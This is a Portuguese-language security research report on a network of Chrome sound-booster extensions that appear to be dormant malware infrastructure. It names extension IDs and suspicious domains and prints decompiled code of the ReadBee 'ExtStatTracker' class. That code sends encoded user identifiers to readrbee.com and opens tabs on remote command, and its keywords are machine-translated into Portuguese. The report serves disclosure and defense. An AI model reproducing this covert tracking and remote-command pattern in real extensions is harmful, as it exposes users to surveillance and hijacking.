A LayerX descobriu uma rede de extensões maliciosas de “agentes adormecidos” que parecem servir como infraestrutura para futuras atividades maliciosas, atualmente instaladas em quase 1.5 milhão de usuários no mundo todo.
A LayerX descobriu uma rede de extensões de navegador que parecem servir como "agentes adormecidos" para futuras atividades maliciosas. As extensões parecem ter sido todas desenvolvidas pela mesma pessoa ou grupo, aguardando sua "ordem de marcha" para executar códigos maliciosos nos computadores de usuários desavisados.
As extensões identificadas pela LayerX parecem estar focadas no gerenciamento de som no navegador. Embora as extensões tentem disfarçar seus parâmetros comuns (base de código comum, destinos de comunicação externa comuns, etc.) e demonstrar funcionalidade legítima, uma análise do código revela uma história bem diferente:
- Código comum com extensões maliciosas conhecidas: Padrões de código comuns foram encontrados nessas extensões que foram previamente identificadas como maliciosas e removidas da Chrome Web Store.
- Carregando arquivos de configuração externos para executar comandos: Os padrões de código comuns permitem que a extensão, entre outros recursos, execute instruções remotas sem que esses comandos apareçam na base de código, contornando assim as técnicas tradicionais de varredura de código.
- Abrindo guias de fundo e executar comandos: Isso permite que a extensão execute comandos sem que o usuário saiba. Exemplos desses comandos podem ser, por exemplo, acessar uma URL externa e baixar malware.
- Comunicação com URLs maliciosos conhecidos: As extensões se comunicam com URLs externas, incluindo domínios maliciosos conhecidos.
- Criptografia de tráfego:As extensões também usam criptografia e ofuscação de código base64 para criptografar comunicações externas e ofuscar seu comportamento.
Nem é preciso dizer que esses recursos não parecem ter nenhum uso legítimo em relação à suposta função das extensões.
Atualmente, a LayerX identificou quatro dessas extensões (veja detalhes completos abaixo), com mais de 1.2 milhão de usuários em todo o mundo. A LayerX também está investigando diversas outras extensões que parecem estar vinculadas a esta campanha. Todas as extensões ainda estão disponíveis na Chrome Store.
Uma base de código comum e maliciosa
Embora as extensões não pareçam relacionadas externamente, elas compartilham uma base de código comum com muitas funções recorrentes e estruturas de dados, indicando um único desenvolvedor ou grupo por trás delas.
De forma crítica, eles parecem compartilhar código de infraestrutura com uma extensão que foi removida da Chrome Web Store no passado devido a atividades maliciosas: ReadBee (ID da extensão: phjbepamfhjgjdgmbhmfflhnlohldchb) era uma extensão popular do Chrome que incluía infraestrutura oculta para atividades maliciosas. Posteriormente, foi removida da Chrome Web Store após ser associada a redirecionamento de tráfego e potencial fraude de afiliados, e alguns pesquisadores de segurança sinalizaram que ele tinha permissões e comportamentos suspeitos.
As ExtStatTracker A classe ReadBee rastreia silenciosamente instalações, desinstalações e atualizações enviando dados de usuário codificados - incluindo um UUID persistente - para readrbee.com. Ele também pode abrir URLs arbitrárias em novas abas, atuando efetivamente como um canal de comando remoto. Essa lógica de telemetria está incorporada no script de segundo plano e é não divulgado aos usuários, confirmando a presença de infraestrutura maliciosa.
O script de fundo do ReadBee inclui um componente chamado ExtStatTracker, que funciona como uma infraestrutura de controle remoto e telemetria. Ele codifica dados usando btoa e os anexa às solicitações de rede enviadas para readrbee.com. Este sistema permite que o servidor remoto envie atualizações de configuração e até mesmo abra abas arbitrárias usando chrome.tabs.create().
Uma vantagem dessa configuração é a flexibilidade: por exemplo, um ID de elemento a ser monitorado no script de conteúdo pode ser fornecido remotamente, evitando lógica codificada e facilitando o desvio de ferramentas de segurança estáticas. A comunicação entre os componentes ocorre via chrome.storage, permitindo uma coordenação silenciosa e persistente. Essa infraestrutura oculta exibe sinais claros de intenção maliciosa por meio de rastreamento silencioso, injeção dinâmica de comportamento e evasão deliberada de mecanismos de segurança.
classe ExtStatTracker {
construtor() {
esse.installUrl = “https://readrbee.com/install/" esse.uninstallUrl = “https://readrbee.com/uninstall/" esse.config = {}, esse.fila = [], esse.hash = “”, esse.queueProcessorReady = !1, esse.uid = “”, esse.versão = chrome.runtime.obterManifesto().versão, ee = “indefinido” == tipo de janela ? globalThis : janela, esse.initArmazenamento() esse.ouvintes init()
}
fila de processos() {
pela (; esse.queue.length > 0; ) {
var t = esse.fila.mudança();
if (!t.tipo || "açao" != t.tipo) retorno !0;
var e = “p=” + codificarURIComponent(btoa(JSON.restringir({
id: chrome.runtime.id,
v: esse.versão,
açao: t.ação,
uid: esse.uid,
hash: esse.hash,
t: Data.agora()
})));
buscar(esse.installUrl + "?" + e).então((t => t.json())).então((função(t) {
t && 1 != t.ok && (t.url && chrome.tabs.cria({
url: t.url
}), extStatTracker.salvar configuração(t))
}))
}
}
definirUninstallUrl() {
var t = “p=” + encodeURIComponent(btoa(JSON.stringify({
id: chrome.runtime.id,
v: esse.versão,
açao: "Desinstalar",
uid: este.uid,
t: Data.agora()
})));
chrome.tempo de execução.definirUninstallURL(esse.uninstallUrl + "?" + t)
}
ouvintes init() {
chrome.runtime.onInstalado.adicionarOuvinte((t => {
esse.fila.empurrar({
tipo"açao"
açao: t.razão
}), esse.queueProcessorReady && esta.fila de processos()
}))
}
initArmazenamento() {
chrome.storage.local.ter((t => {
t && t.config && (extStatTracker.config = t.config), extStatTracker.config.uid ? extStatTracker.uid = extStatTracker.config.uid : (extStatTracker.uid = extStatTracker.config.uid = crypto.UUID aleatório(), extStatTracker.salvar configuração()), extStatTracker.hash = extStatTracker.config.hash, extStatTracker.queueProcessorReady = !0, extStatTracker.definirUninstallUrl(), extStatTracker.fila de processos()
}))
}
salvar configuração(t = !1) {
t = t || extStatTracker.config, chrome.storage.local.ter({
configuração: {}
}, (e => {
Objeto.atribuir(e.config, t), chrome.storage.local.conjunto({
configuração: e.config
})
}))
}
}
const extStatTracker = new ExtStatTracker;
Esta infraestrutura não é exclusiva do ReadBee — estruturas de código malicioso semelhantes também foram encontradas em outras extensões. Por exemplo, o Pesquisar ChatGPT extensão (acagjkjeebjdmeipgmhcmaddekfmdbaj) usou os mesmos padrões de comunicação e controle e foi removido da Chrome Web Store em 25 de outubro de 2024, devido a malware.
Comunicação com URLs maliciosos:
Alguns dos domínios com os quais essas extensões se comunicam foram sinalizados como URLs maliciosos conhecidos no VirusTotal:
- https://francjohn[.]com/api/action/
Outro domínio em que as extensões são vistas para comunicação é:
- https://jermikro[.]com/api/
Três das extensões se comunicam com este domínio. Embora o domínio em si não tenha sido sinalizado como malicioso, o domínio subjacente já foi sinalizado por atividade de malware.
Além disso, as extensões também usam várias técnicas de criptografia dentro do código para criptografar comunicações externas e ofuscar seu comportamento.
Ofuscando a Propriedade Comum
Outro fator importante é que, embora todas as extensões pareçam compartilhar uma base de código comum (pelo menos para os bits maliciosos), um tema comum (todas elas parecem estar centradas no gerenciamento de som no navegador) e comunicações externas comuns, externamente, todas elas mostram propriedades diferentes:
- Cada extensão é listada sob um editor diferente, com detalhes de contato diferentes.
- Nenhuma das extensões tem sites públicos.
- As informações de contato de cada extensão levam a contas de webmail anônimas.
Como resultado, é impossível determinar a identidade das pessoas por trás de cada uma dessas extensões.
Extensões maliciosas suspeitas:
Abaixo está a lista atual de extensões maliciosas suspeitas identificadas como parte deste anel:
| Nome da extensão | ID da extensão | Utilizadores |
| Sound Booster | pmilcmjbofinpnbnpanpdadijibcgifc | 200,000 |
| Examine o código-fonte do Volume Max – Ultimate Sound Booster | mgbhdehiapbjamfgekfpebmhmnmcmemg | 1,000,000 |
| Volume Master: Domine seu som | eoejmjkddfbhhnbmklhccnppogeaeeah | 3,000 |
| Volume Booster: o melhor intensificador de som | dlcgileladmbfijjmnleehhoebpggpjl | 2,000 |
Mais corroboração sobre o VirusTotal
Embora o VirusTotal seja mais conhecido como um repositório para sinalizar domínios/IPs de servidores de comando e controle (C2) de malware, ele também inclui alguns dados sobre extensões.
De fato, a extensão “Examine source code of Volume Max – Ultimate Sound Booster”, com mais de um milhão de downloads, já foi sinalizada por diversos fornecedores. No entanto, ela não foi removida da Chrome Web Store.
Da mesma forma, a extensão “Sound Boster” (com mais de 200,000 usuários) também foi sinalizada por algumas empresas de segurança como maliciosa. Ela também continua disponível na Chrome Web Store.
Implicações:
A análise das extensões ainda está em andamento, mas até agora o LayerX não identificou nenhuma atual atividades maliciosas (além de conexões com extensões maliciosas conhecidas). Em vez disso, isso parece ser um plataforma or infra-estrutura para potenciais atividades maliciosas futuras. É por isso que a chamamos de rede de extensão "adormecida".
Esse tipo de rede de extensão "adormecida" pode servir como substituto para botnets tradicionais. Embora a construção de botnets (geralmente em dispositivos IoT expostos) possa ser lenta, tecnicamente complexa e trabalhosa, desenvolver uma rede de extensões maliciosas para navegadores é muito mais simples e pode fornecer acesso direto a informações importantes de identidade do usuário, como cookies, senhas, dados de navegação e conteúdo de navegação.
Aqui estão algumas conclusões importantes:
- Até extensões aparentemente inócuas podem ser maliciosas: neste caso, embora não tenhamos visto nenhum comportamento malicioso ativo, identificamos vários links para extensões e/ou domínios maliciosos conhecidos, além de códigos com recursos que não deveriam estar em extensões com os recursos anunciados.
- A reputação do editor é um buraco negro: qualquer pessoa pode enviar uma extensão, e é virtualmente impossível rastrear as pessoas por trás dessas extensões. Nesse caso, para todos os nomes comuns, as extensões levam a endereços de webmail genéricos, sem sites públicos, e não há como saber quem está por trás delas.
- A segurança da extensão é um processo contínuo: Não é algo que se resolve de uma vez por todas, e extensões aparentemente inocentes podem se tornar maliciosas, ou recursos maliciosos podem ser ativados/desativados. É por isso que monitorar continuamente a superfície de ameaças e a postura de segurança das extensões do seu navegador é crucial.






